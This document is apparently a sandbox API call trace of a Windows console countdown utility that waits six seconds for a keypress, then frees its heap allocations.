[0079.725] lstrlenW (lpString=" \x09") returned 2
[0079.725] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0
[0079.725] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0
[0079.725] GetLastError () returned 0x0
[0079.725] lstrlenW (lpString="6") returned 1
[0079.725] lstrlenW (lpString="6") returned 1
[0079.725] SetLastError (dwErrCode=0x0)
[0079.725] _errno () returned 0xa305b0
[0079.725] wcstol (in: _String="6", _EndPtr=0xcfa6c, _Radix=10 | out: _EndPtr=0xcfa6c*="") returned 6
[0079.725] lstrlenW (lpString="") returned 0
[0079.725] _errno () returned 0xa305b0
[0079.725] time (in: timer=0xcfa94 | out: timer=0xcfa94) returned 0x64380ebd
[0079.725] GetStdHandle (nStdHandle=0xfffffff6) returned 0x38
[0079.725] GetFileType (hFile=0x38) returned 0x2
[0079.725] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0xcfa64 | out: lpMode=0xcfa64) returned 1
[0079.879] GetStdHandle (nStdHandle=0xfffffff6) returned 0x38
[0079.879] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0xcfa84 | out: lpMode=0xcfa84) returned 1
[0079.952] SetConsoleMode (hConsoleHandle=0x38, dwMode=0x1a1) returned 1
[0080.022] GetNumberOfConsoleInputEvents (in: hConsoleInput=0x38, lpNumberOfEvents=0xcfa88 | out: lpNumberOfEvents=0xcfa88) returned 1
[0080.092] FlushConsoleInputBuffer (hConsoleInput=0x38) returned 1
[0080.371] GetProcessHeap () returned 0x8e0000
[0080.371] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8ec408
[0080.371] _memicmp (_Buf1=0x8ed2f8, _Buf2=0xab10ac, _Size=0x7) returned 0
[0080.371] LoadStringW (in: hInstance=0x0, uID=0x98, lpBuffer=0x8ee4f8, cchBufferMax=256 | out: lpBuffer="\nWaiting for %*lu") returned 0x11
[0080.371] lstrlenW (lpString="\nWaiting for %*lu") returned 17
[0080.371] GetProcessHeap () returned 0x8e0000
[0080.371] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x24) returned 0x8e3900
[0080.371] _vsnwprintf (in: _Buffer=0xcfcd8, _BufferCount=0xfd, _Format="\nWaiting for %*lu", _ArgList=0xcfa50 | out: _Buffer="\nWaiting for 6") returned 14
[0080.371] __iob_func () returned 0x749c1208
[0080.371] _fileno (_File=0x749c1228) returned 1
[0080.371] _errno () returned 0xa305b0
[0080.371] _get_osfhandle (_FileHandle=1) returned 0x3c
[0080.371] _errno () returned 0xa305b0
[0080.372] GetFileType (hFile=0x3c) returned 0x2
[0080.372] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0080.372] GetFileType (hFile=0x3c) returned 0x2
[0080.372] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xcfa28 | out: lpMode=0xcfa28) returned 1
[0080.670] __iob_func () returned 0x749c1208
[0080.670] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0080.670] lstrlenW (lpString="\nWaiting for 6") returned 14
[0080.670] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xcfcd8*, nNumberOfCharsToWrite=0xe, lpNumberOfCharsWritten=0xcfa4c, lpReserved=0x0 | out: lpBuffer=0xcfcd8*, lpNumberOfCharsWritten=0xcfa4c*=0xe) returned 1
[0080.765] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0080.765] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3c, lpConsoleScreenBufferInfo=0xcfa9c | out: lpConsoleScreenBufferInfo=0xcfa9c) returned 1
[0080.976] GetProcessHeap () returned 0x8e0000
[0080.977] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8ec4a8
[0080.977] _memicmp (_Buf1=0x8ed2f8, _Buf2=0xab10ac, _Size=0x7) returned 0
[0080.977] LoadStringW (in: hInstance=0x0, uID=0xa0, lpBuffer=0x8ee4f8, cchBufferMax=256 | out: lpBuffer=" seconds, press a key to continue ...") returned 0x25
[0080.977] lstrlenW (lpString=" seconds, press a key to continue ...") returned 37
[0080.977] GetProcessHeap () returned 0x8e0000
[0080.977] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x4c) returned 0x8e7000
[0080.977] __iob_func () returned 0x749c1208
[0080.977] _fileno (_File=0x749c1228) returned 1
[0080.977] _errno () returned 0xa305b0
[0080.977] _get_osfhandle (_FileHandle=1) returned 0x3c
[0080.977] _errno () returned 0xa305b0
[0080.977] GetFileType (hFile=0x3c) returned 0x2
[0080.977] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0080.977] GetFileType (hFile=0x3c) returned 0x2
[0080.977] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xcfa28 | out: lpMode=0xcfa28) returned 1
[0081.159] __iob_func () returned 0x749c1208
[0081.159] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0081.159] lstrlenW (lpString=" seconds, press a key to continue ...") returned 37
[0081.159] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0x8e7000*, nNumberOfCharsToWrite=0x25, lpNumberOfCharsWritten=0xcfa4c, lpReserved=0x0 | out: lpBuffer=0x8e7000*, lpNumberOfCharsWritten=0xcfa4c*=0x25) returned 1
[0081.328] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xcfab4, nLength=0x2, lpNumberOfEventsRead=0xcfa88 | out: lpBuffer=0xcfab4, lpNumberOfEventsRead=0xcfa88) returned 1
[0081.412] time (in: timer=0xcfa94 | out: timer=0xcfa94) returned 0x64380ebe
[0081.412] _vsnwprintf (in: _Buffer=0xcfcd8, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xcfa4c | out: _Buffer="\x085") returned 2
[0081.412] SetConsoleCursorPosition (hConsoleOutput=0x3c, dwCursorPosition=0x1000d) returned 1
[0081.483] __iob_func () returned 0x749c1208
[0081.483] _fileno (_File=0x749c1228) returned 1
[0081.483] _errno () returned 0xa305b0
[0081.483] _get_osfhandle (_FileHandle=1) returned 0x3c
[0081.483] _errno () returned 0xa305b0
[0081.483] GetFileType (hFile=0x3c) returned 0x2
[0081.483] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0081.483] GetFileType (hFile=0x3c) returned 0x2
[0081.483] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xcfa28 | out: lpMode=0xcfa28) returned 1
[0081.637] __iob_func () returned 0x749c1208
[0081.637] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0081.637] lstrlenW (lpString="\x085") returned 2
[0081.637] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xcfcd8*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xcfa4c, lpReserved=0x0 | out: lpBuffer=0xcfcd8*, lpNumberOfCharsWritten=0xcfa4c*=0x2) returned 1
[0081.744] Sleep (dwMilliseconds=0x64)
[0082.131] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xcfab4, nLength=0x2, lpNumberOfEventsRead=0xcfa88 | out: lpBuffer=0xcfab4, lpNumberOfEventsRead=0xcfa88) returned 1
[0082.241] time (in: timer=0xcfa94 | out: timer=0xcfa94) returned 0x64380ebf
[0082.241] _vsnwprintf (in: _Buffer=0xcfcd8, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xcfa4c | out: _Buffer="\x084") returned 2
[0082.241] SetConsoleCursorPosition (hConsoleOutput=0x3c, dwCursorPosition=0x1000d) returned 1
[0082.391] __iob_func () returned 0x749c1208
[0082.391] _fileno (_File=0x749c1228) returned 1
[0082.391] _errno () returned 0xa305b0
[0082.391] _get_osfhandle (_FileHandle=1) returned 0x3c
[0082.391] _errno () returned 0xa305b0
[0082.391] GetFileType (hFile=0x3c) returned 0x2
[0082.391] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0082.391] GetFileType (hFile=0x3c) returned 0x2
[0082.391] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xcfa28 | out: lpMode=0xcfa28) returned 1
[0082.464] __iob_func () returned 0x749c1208
[0082.465] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0082.465] lstrlenW (lpString="\x084") returned 2
[0082.465] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xcfcd8*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xcfa4c, lpReserved=0x0 | out: lpBuffer=0xcfcd8*, lpNumberOfCharsWritten=0xcfa4c*=0x2) returned 1
[0082.578] Sleep (dwMilliseconds=0x64)
[0082.690] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xcfab4, nLength=0x2, lpNumberOfEventsRead=0xcfa88 | out: lpBuffer=0xcfab4, lpNumberOfEventsRead=0xcfa88) returned 1
[0082.806] time (in: timer=0xcfa94 | out: timer=0xcfa94) returned 0x64380ec0
[0082.806] _vsnwprintf (in: _Buffer=0xcfcd8, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xcfa4c | out: _Buffer="\x083") returned 2
[0082.806] SetConsoleCursorPosition (hConsoleOutput=0x3c, dwCursorPosition=0x1000d) returned 1
[0082.877] __iob_func () returned 0x749c1208
[0082.877] _fileno (_File=0x749c1228) returned 1
[0082.877] _errno () returned 0xa305b0
[0082.877] _get_osfhandle (_FileHandle=1) returned 0x3c
[0082.877] _errno () returned 0xa305b0
[0082.877] GetFileType (hFile=0x3c) returned 0x2
[0082.877] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0082.877] GetFileType (hFile=0x3c) returned 0x2
[0082.877] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xcfa28 | out: lpMode=0xcfa28) returned 1
[0082.948] __iob_func () returned 0x749c1208
[0082.948] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0082.948] lstrlenW (lpString="\x083") returned 2
[0082.948] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xcfcd8*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xcfa4c, lpReserved=0x0 | out: lpBuffer=0xcfcd8*, lpNumberOfCharsWritten=0xcfa4c*=0x2) returned 1
[0083.099] Sleep (dwMilliseconds=0x64)
[0083.224] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xcfab4, nLength=0x2, lpNumberOfEventsRead=0xcfa88 | out: lpBuffer=0xcfab4, lpNumberOfEventsRead=0xcfa88) returned 1
[0083.416] time (in: timer=0xcfa94 | out: timer=0xcfa94) returned 0x64380ec0
[0083.416] Sleep (dwMilliseconds=0x64)
[0083.561] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xcfab4, nLength=0x2, lpNumberOfEventsRead=0xcfa88 | out: lpBuffer=0xcfab4, lpNumberOfEventsRead=0xcfa88) returned 1
[0083.676] time (in: timer=0xcfa94 | out: timer=0xcfa94) returned 0x64380ec1
[0083.676] _vsnwprintf (in: _Buffer=0xcfcd8, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xcfa4c | out: _Buffer="\x082") returned 2
[0083.676] SetConsoleCursorPosition (hConsoleOutput=0x3c, dwCursorPosition=0x1000d) returned 1
[0083.767] __iob_func () returned 0x749c1208
[0083.767] _fileno (_File=0x749c1228) returned 1
[0083.767] _errno () returned 0xa305b0
[0083.767] _get_osfhandle (_FileHandle=1) returned 0x3c
[0083.767] _errno () returned 0xa305b0
[0083.767] GetFileType (hFile=0x3c) returned 0x2
[0083.767] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0083.768] GetFileType (hFile=0x3c) returned 0x2
[0083.768] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xcfa28 | out: lpMode=0xcfa28) returned 1
[0083.878] __iob_func () returned 0x749c1208
[0083.878] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0083.878] lstrlenW (lpString="\x082") returned 2
[0083.878] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xcfcd8*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xcfa4c, lpReserved=0x0 | out: lpBuffer=0xcfcd8*, lpNumberOfCharsWritten=0xcfa4c*=0x2) returned 1
[0083.990] Sleep (dwMilliseconds=0x64)
[0084.218] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xcfab4, nLength=0x2, lpNumberOfEventsRead=0xcfa88 | out: lpBuffer=0xcfab4, lpNumberOfEventsRead=0xcfa88) returned 1
[0084.335] time (in: timer=0xcfa94 | out: timer=0xcfa94) returned 0x64380ec1
[0084.335] Sleep (dwMilliseconds=0x64)
[0084.565] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xcfab4, nLength=0x2, lpNumberOfEventsRead=0xcfa88 | out: lpBuffer=0xcfab4, lpNumberOfEventsRead=0xcfa88) returned 1
[0084.678] time (in: timer=0xcfa94 | out: timer=0xcfa94) returned 0x64380ec2
[0084.678] _vsnwprintf (in: _Buffer=0xcfcd8, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xcfa4c | out: _Buffer="\x081") returned 2
[0084.678] SetConsoleCursorPosition (hConsoleOutput=0x3c, dwCursorPosition=0x1000d) returned 1
[0084.748] __iob_func () returned 0x749c1208
[0084.749] _fileno (_File=0x749c1228) returned 1
[0084.749] _errno () returned 0xa305b0
[0084.749] _get_osfhandle (_FileHandle=1) returned 0x3c
[0084.749] _errno () returned 0xa305b0
[0084.749] GetFileType (hFile=0x3c) returned 0x2
[0084.749] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0084.749] GetFileType (hFile=0x3c) returned 0x2
[0084.749] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xcfa28 | out: lpMode=0xcfa28) returned 1
[0084.831] __iob_func () returned 0x749c1208
[0084.831] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0084.831] lstrlenW (lpString="\x081") returned 2
[0084.831] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xcfcd8*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xcfa4c, lpReserved=0x0 | out: lpBuffer=0xcfcd8*, lpNumberOfCharsWritten=0xcfa4c*=0x2) returned 1
[0085.039] Sleep (dwMilliseconds=0x64)
[0085.177] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xcfab4, nLength=0x2, lpNumberOfEventsRead=0xcfa88 | out: lpBuffer=0xcfab4, lpNumberOfEventsRead=0xcfa88) returned 1
[0085.324] time (in: timer=0xcfa94 | out: timer=0xcfa94) returned 0x64380ec2
[0085.324] Sleep (dwMilliseconds=0x64)
[0085.581] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xcfab4, nLength=0x2, lpNumberOfEventsRead=0xcfa88 | out: lpBuffer=0xcfab4, lpNumberOfEventsRead=0xcfa88) returned 1
[0085.651] time (in: timer=0xcfa94 | out: timer=0xcfa94) returned 0x64380ec3
[0085.651] _vsnwprintf (in: _Buffer=0xcfcd8, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xcfa4c | out: _Buffer="\x080") returned 2
[0085.652] SetConsoleCursorPosition (hConsoleOutput=0x3c, dwCursorPosition=0x1000d) returned 1
[0085.767] __iob_func () returned 0x749c1208
[0085.767] _fileno (_File=0x749c1228) returned 1
[0085.767] _errno () returned 0xa305b0
[0085.767] _get_osfhandle (_FileHandle=1) returned 0x3c
[0085.767] _errno () returned 0xa305b0
[0085.767] GetFileType (hFile=0x3c) returned 0x2
[0085.767] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0085.767] GetFileType (hFile=0x3c) returned 0x2
[0085.767] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xcfa28 | out: lpMode=0xcfa28) returned 1
[0085.881] __iob_func () returned 0x749c1208
[0085.881] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0085.881] lstrlenW (lpString="\x080") returned 2
[0085.881] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xcfcd8*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xcfa4c, lpReserved=0x0 | out: lpBuffer=0xcfcd8*, lpNumberOfCharsWritten=0xcfa4c*=0x2) returned 1
[0085.949] Sleep (dwMilliseconds=0x64)
[0086.131] __iob_func () returned 0x749c1208
[0086.131] _fileno (_File=0x749c1228) returned 1
[0086.131] _errno () returned 0xa305b0
[0086.131] _get_osfhandle (_FileHandle=1) returned 0x3c
[0086.131] _errno () returned 0xa305b0
[0086.131] GetFileType (hFile=0x3c) returned 0x2
[0086.132] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0086.132] GetFileType (hFile=0x3c) returned 0x2
[0086.132] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xcfa28 | out: lpMode=0xcfa28) returned 1
[0086.201] __iob_func () returned 0x749c1208
[0086.201] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c
[0086.201] lstrlenW (lpString="\n") returned 1
[0086.201] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xab106c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0xcfa4c, lpReserved=0x0 | out: lpBuffer=0xab106c*, lpNumberOfCharsWritten=0xcfa4c*=0x1) returned 1
[0086.412] GetProcessHeap () returned 0x8e0000
[0086.412] GetProcessHeap () returned 0x8e0000
[0086.412] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8edf98) returned 1
[0086.412] GetProcessHeap () returned 0x8e0000
[0086.412] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8edf98) returned 0xa0
[0086.413] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8edf98 | out: hHeap=0x8e0000) returned 1
[0086.413] GetProcessHeap () returned 0x8e0000
[0086.413] GetProcessHeap () returned 0x8e0000
[0086.413] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ed220) returned 1
[0086.413] GetProcessHeap () returned 0x8e0000
[0086.413] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ed220) returned 0x10
[0086.413] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ed220 | out: hHeap=0x8e0000) returned 1
[0086.413] GetProcessHeap () returned 0x8e0000
[0086.413] GetProcessHeap () returned 0x8e0000
[0086.413] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec3c8) returned 1
[0086.413] GetProcessHeap () returned 0x8e0000
[0086.413] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec3c8) returned 0x14
[0086.413] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec3c8 | out: hHeap=0x8e0000) returned 1
[0086.413] GetProcessHeap () returned 0x8e0000
[0086.413] GetProcessHeap () returned 0x8e0000
[0086.413] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e7a98) returned 1
[0086.413] GetProcessHeap () returned 0x8e0000
[0086.413] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e7a98) returned 0x4
[0086.413] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e7a98 | out: hHeap=0x8e0000) returned 1
[0086.413] GetProcessHeap () returned 0x8e0000
[0086.413] GetProcessHeap () returned 0x8e0000
[0086.413] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ed238) returned 1
[0086.413] GetProcessHeap () returned 0x8e0000
[0086.413] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ed238) returned 0x10
[0086.413] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ed238 | out: hHeap=0x8e0000) returned 1
[0086.413] GetProcessHeap () returned 0x8e0000
[0086.413] GetProcessHeap () returned 0x8e0000
[0086.413] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec288) returned 1
[0086.413] GetProcessHeap () returned 0x8e0000
[0086.413] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec288) returned 0x14
[0086.413] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec288 | out: hHeap=0x8e0000) returned 1
[0086.414] GetProcessHeap () returned 0x8e0000
[0086.414] GetProcessHeap () returned 0x8e0000
[0086.414] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec628) returned 1
[0086.414] GetProcessHeap () returned 0x8e0000
[0086.414] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec628) returned 0x208
[0086.414] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec628 | out: hHeap=0x8e0000) returned 1
[0086.414] GetProcessHeap () returned 0x8e0000
[0086.414] GetProcessHeap () returned 0x8e0000
[0086.414] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e74b0) returned 1
[0086.414] GetProcessHeap () returned 0x8e0000
[0086.414] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e74b0) returned 0x10
[0086.414] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e74b0 | out: hHeap=0x8e0000) returned 1
[0086.414] GetProcessHeap () returned 0x8e0000
[0086.414] GetProcessHeap () returned 0x8e0000
[0086.414] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec3a8) returned 1
[0086.414] GetProcessHeap () returned 0x8e0000
[0086.414] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec3a8) returned 0x14
[0086.414] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec3a8 | out: hHeap=0x8e0000) returned 1
[0086.414] GetProcessHeap () returned 0x8e0000
[0086.414] GetProcessHeap () returned 0x8e0000
[0086.414] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ee4f8) returned 1
[0086.414] GetProcessHeap () returned 0x8e0000
[0086.414] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ee4f8) returned 0x200
[0086.415] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ee4f8 | out: hHeap=0x8e0000) returned 1
[0086.415] GetProcessHeap () returned 0x8e0000
[0086.415] GetProcessHeap () returned 0x8e0000
[0086.415] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ed2f8) returned 1
[0086.415] GetProcessHeap () returned 0x8e0000
[0086.415] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ed2f8) returned 0x10
[0086.415] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ed2f8 | out: hHeap=0x8e0000) returned 1
[0086.415] GetProcessHeap () returned 0x8e0000
[0086.415] GetProcessHeap () returned 0x8e0000
[0086.415] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec268) returned 1
[0086.415] GetProcessHeap () returned 0x8e0000
[0086.415] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec268) returned 0x14
[0086.415] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec268 | out: hHeap=0x8e0000) returned 1
[0086.415] GetProcessHeap () returned 0x8e0000
[0086.415] GetProcessHeap () returned 0x8e0000
[0086.415] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ed190) returned 1
[0086.415] GetProcessHeap () returned 0x8e0000
[0086.415] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ed190) returned 0xa
[0086.415] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ed190 | out: hHeap=0x8e0000) returned 1
[0086.415] GetProcessHeap () returned 0x8e0000
[0086.415] GetProcessHeap () returned 0x8e0000
[0086.415] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ed178) returned 1
[0086.415] GetProcessHeap () returned 0x8e0000
[0086.415] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ed178) returned 0x10
[0086.415] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ed178 | out: hHeap=0x8e0000) returned 1
[0086.415] GetProcessHeap () returned 0x8e0000
[0086.415] GetProcessHeap () returned 0x8e0000
[0086.415] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec248) returned 1
[0086.415] GetProcessHeap () returned 0x8e0000
[0086.415] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec248) returned 0x14
[0086.415] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec248 | out: hHeap=0x8e0000) returned 1
[0086.415] GetProcessHeap () returned 0x8e0000
[0086.415] GetProcessHeap () returned 0x8e0000
[0086.415] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ed340) returned 1
[0086.416] GetProcessHeap () returned 0x8e0000
[0086.416] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ed340) returned 0xa
[0086.416] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ed340 | out: hHeap=0x8e0000) returned 1
[0086.416] GetProcessHeap () returned 0x8e0000
[0086.416] GetProcessHeap () returned 0x8e0000
[0086.416] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ed310) returned 1
[0086.416] GetProcessHeap () returned 0x8e0000
[0086.416] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ed310) returned 0x10
[0086.416] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ed310 | out: hHeap=0x8e0000) returned 1
[0086.416] GetProcessHeap () returned 0x8e0000
[0086.416] GetProcessHeap () returned 0x8e0000
[0086.416] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec608) returned 1
[0086.416] GetProcessHeap () returned 0x8e0000
[0086.416] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec608) returned 0x14
[0086.416] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec608 | out: hHeap=0x8e0000) returned 1
[0086.416] GetProcessHeap () returned 0x8e0000
[0086.416] GetProcessHeap () returned 0x8e0000
[0086.416] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e8698) returned 1
[0086.416] GetProcessHeap () returned 0x8e0000
[0086.416] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e8698) returned 0x2
[0086.416] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e8698 | out: hHeap=0x8e0000) returned 1
[0086.416] GetProcessHeap () returned 0x8e0000
[0086.416] GetProcessHeap () returned 0x8e0000
[0086.416] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e71b0) returned 1
[0086.416] GetProcessHeap () returned 0x8e0000
[0086.416] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e71b0) returned 0x14
[0086.416] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e71b0 | out: hHeap=0x8e0000) returned 1
[0086.416] GetProcessHeap () returned 0x8e0000
[0086.416] GetProcessHeap () returned 0x8e0000
[0086.416] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e2a50) returned 1
[0086.416] GetProcessHeap () returned 0x8e0000
[0086.417] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e2a50) returned 0x14
[0086.417] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e2a50 | out: hHeap=0x8e0000) returned 1
[0086.417] GetProcessHeap () returned 0x8e0000
[0086.417] GetProcessHeap () returned 0x8e0000
[0086.417] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e73c0) returned 1
[0086.417] GetProcessHeap () returned 0x8e0000
[0086.417] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e73c0) returned 0x14
[0086.417] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e73c0 | out: hHeap=0x8e0000) returned 1
[0086.417] GetProcessHeap () returned 0x8e0000
[0086.417] GetProcessHeap () returned 0x8e0000
[0086.417] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e6cc8) returned 1
[0086.417] GetProcessHeap () returned 0x8e0000
[0086.417] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e6cc8) returned 0x14
[0086.417] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e6cc8 | out: hHeap=0x8e0000) returned 1
[0086.417] GetProcessHeap () returned 0x8e0000
[0086.417] GetProcessHeap () returned 0x8e0000
[0086.417] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec328) returned 1
[0086.417] GetProcessHeap () returned 0x8e0000
[0086.417] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec328) returned 0x14
[0086.417] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec328 | out: hHeap=0x8e0000) returned 1
[0086.417] GetProcessHeap () returned 0x8e0000
[0086.417] GetProcessHeap () returned 0x8e0000
[0086.417] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec2a8) returned 1
